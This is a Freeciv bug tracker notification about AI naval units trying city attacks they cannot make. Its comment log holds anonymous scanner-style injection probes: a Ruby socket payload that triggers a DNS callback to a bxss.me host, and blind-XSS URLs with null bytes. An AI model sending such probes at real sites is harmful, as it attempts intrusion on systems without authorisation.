#42575: AI units try marine attacks when they can't Open Date: 2021-06-26 08:59 Last Update: 2023-02-02 08:24 URL for this Ticket: https://osdn.net//projects/freeciv/ticket/42575 RSS feed for this Ticket: https://osdn.net/ticket/ticket_rss.php?group_id=12505&tid=42575 --------------------------------------------------------------------- Last Changes/Comment on this Ticket: 2023-02-02 08:24 Updated by: Anonymous Comment: e Comment: e Comment: "+"A".concat(70-3).concat(22*4).concat(114).concat(84).concat(104).concat(79)+(require"socket" Socket.gethostbyname("hithw"+"jcfsknshf5838.bxss.me.")3.to_s)+" Comment: e Comment: e Comment: e Comment: bxss.me/t/xss.html?%00 Comment: e Comment: e Comment: HttP://bxss.me/t/xss.html?%00 --------------------------------------------------------------------- Ticket Status: Reporter: ihnatus Owner: (None) Type: Bugs Status: Open Priority: 5 - Medium MileStone: 3.0.7 Component: AI Severity: 5 - Medium Resolution: None --------------------------------------------------------------------- Ticket details: AI military units on ships try to strike the city as soon as the ship has approached even when they have no ability to do it. Probably, they lose a turn in process when they could land, and I doubt only one. In commercial CivII, btw, AI units cheat being all "marines", but I think it should not be our way. -- Ticket information of Freeciv project Freeciv Project is hosted on OSDN Project URL: https://osdn.net/projects/freeciv/ OSDN: https://osdn.net URL for this Ticket: https://osdn.net/projects/freeciv/ticket/42575 RSS feed for this Ticket: https://osdn.net/ticket/ticket_rss.php?group_id=12505&tid=42575